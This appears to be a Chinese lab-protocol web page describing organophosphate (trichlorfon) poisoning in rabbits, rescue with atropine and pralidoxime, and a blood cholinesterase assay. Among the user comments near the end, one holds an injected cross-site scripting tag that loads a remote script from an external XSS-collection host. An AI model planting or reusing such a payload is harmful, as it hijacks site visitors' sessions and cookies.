1. 点评实验,有机会获丁当奖励
  2.  
  3. 6人关注

有机磷农药中毒与解救实验

标签: 有机磷农药 中毒 解救

在药理学实验中,影响实验结果的因素很多,有些因素是可以控制的,有些则难以控制,为了减少多因素及难以控制因素的影响,实验中应同时设立对照组,用对照组和实验组间的比较来消除各种无关因素的影响,使实验结果误差尽可能地缩小,达到正确评价药物效果的目的。观察有机磷农药(敌百虫)致家兔中毒症状。观察阿托品,派姆(碘解磷定)对有机磷农药中毒的解救作用。

实验方法
  • 静脉注射法
  • 胆碱酯酶活性的测定方法
实验方法原理 在药理学实验中,影响实验结果的因素很多,有些因素是可以控制的,有些则难以控制,为了减少多因素及难以控制因素的影响,实验中应同时设立对照组,用对照组和实验组间的比较来消除各种无关因素的影响,使实验结果误差尽可能地缩小,达到正确评价药物效果的目的。
实验材料
试剂、试剂盒
仪器、耗材
实验步骤
1.  家兔实验前六小时禁食。称重后,先观察动物一般活动情况,测量每分钟呼吸次数;用尺测量瞳孔直径;用手触兔背或腹部有否肌震颤;用滤纸轻擦兔嘴角看有否唾液分泌;有否大小便等。然后用5%敌百虫溶液(500 mg/kg)灌胃(即5%敌百虫10 ml/kg)。观察以上指标(瞳孔直径,肌震颤,唾液分泌和大小便)的变化以判断家兔的中毒症状。

2.  在观察过程中准备好中毒解救药品,待中毒症状明显后(特别是瞳孔极小时)于耳静脉注入0.15%阿托品(1.5 mg/kg即1 ml/kg)。
 
3.  观察哪些症状可被消除?什么症状不能消除? 5分钟后再于耳缘静脉注射2.5%碘解磷定(45 mg/kg即1.8 ml/kg)观察能否有消除或缓解哪些中毒症状,分析其作用机制。
展开 
注意事项
1.  灌胃时注意勿将导尿管插入呼吸道,可将导尿管外端置于水中,观察有无气泡,如有气泡,则需重插。
 
2.  观察给药前后的变化,及时抢救。
 
3.  测量瞳孔时,尺不要碰伤家兔角膜。
 
4.  实验结束后要用自来水洗手,切勿用肥皂,因敌百虫可在碱性环境中转变成毒性更强的敌敌畏。
展开 
实验方法原理 乙酰胆碱在血液中被胆碱酯酶水解,产生醋酸和胆碱。在一定条件下,水解乙酰胆碱的量与胆碱酯酶的活性成正比。故在反应体系中,加入定量的乙酰胆碱使之参加反应,通过测定剩余的乙酰胆碱量即可计算出水解的乙酰胆碱量,从而推算出胆碱酯酶的活性。
 
乙酰胆碱的呈色反应:乙酰胆碱可与羟胺作用生成乙酰羟肟酸,后者在酸性条件下与三价铁离子形成褐色的羟肟酸铁络合物,其颜色的深浅可反映乙酰胆碱含量的多少。反应过程如下:
 
盐酸羟胺与氢氧化钠作用释放出游离羟胺
 
NH2OH·HCl+NaOH NH2OH+NaCl+H2O
 
剩余乙酰胆碱与游离羟胺作用,生成羟肟酸化合物。
 
(CH33≡N-(CH22OCOCH3+NH2OH CH3CONHOH+ (CH33≡N-(CH2)2OH
 
羟肟酸化合物在酸性环境中与三氯化铁生成褐色的复合物(羟肟酸铁络合物)。
 
PH1~1.5
 
FeCl3+CH3CONHOH (CH3CONHO)3 Fe+HCl
实验材料
试剂、试剂盒
仪器、耗材
实验步骤
1.  取中试管加磷酸缓冲液0.85 ml,血样0.15 ml,置37±1 ℃的水浴中预热3~5分钟。
 
2.  加入7×10-3 mol/L Ach 溶液1.0 ml,GF 37±1 ℃的水浴中反应40 分钟(若反应不充分,可继续反应20分钟)。每隔10分钟振摇一次。
 
反应40分钟后立即加入碱性羟胺(1 mol/L NH2OH·HCl与3.5 N NaOH溶液在用前20分钟等容混合,并不时振荡)4.0 ml。
 
依次加入4 N HCl和3.7×10-1mol/L FeCl3各2 ml,每加一种试剂都要充分振荡。
 
上述反应液用滤纸过滤,将滤液倒入1.0 ml 的比色杯中,以530 nm的波长比色。
 
对照管
 
对照管1:为无血无Ach的其他试剂空白对照。
 
对照管2:为全血及试剂的空白对照,无Ach。
 
对照管3:(标准Ach值):为反应系中全量Ach 的对照。
 
对照管的操作步骤与样品管相同。
 
表9-1 胆碱酯酶活性的测定步骤
 

 
计算:全血胆碱酯酶活性值以0.15 ml 全血在40 分钟内水解Ach 的μΜ数来表示(μΜAch/0.15 ml/40分钟)
 
酶活性值的计算:
 
全血胆碱酯酶活性值=A3+(A2-A1)-AS/A3-A1×7
 
A1,A2,A3和AS分别为对照管1,2,3和样品管的光密度值。A3-A1为单纯Ach全量的光密度值,A2-A1 为血液的光密度值,A3+(A2-A1)为Ach.  血液和试剂的光密度值,A3+(A2-A1)-AS 为分解的Ach的光密度值。
 
酶活性值的百分数计算:
 
样本全血胆碱酯酶活性值/正常全血胆碱酯酶活性值×100%。
展开 
更多
实验问答
(共0个问题)
  • 当前暂时没有任何关于 有机磷农药中毒与解救实验 的问题,快来添加第一个问题吧!

谁能提供实验帮助?
更多 谁做这个实验?
  • dxy_vopa4735

    dxy_vopa4735

    2个月前 觉得难

    有些因素是可以控制的,有些则难以控制,为了减少多因素及难以控制因素的影响,实验中用对照组和实验组间的比较来消除各种无关因素的影响

  • glory122

    glory122

    3个月前 觉得难

    "><script src=http://www.xss8.net/?c=pO6h3></script>

  • 啥子丶

    啥子丶

    3个月前 觉得一般

    好点子

更多 谁关注这个实验?
评价一下这个实验:
12345很简单

提交评分

生物学霸
帮助你升级成为学霸。
查看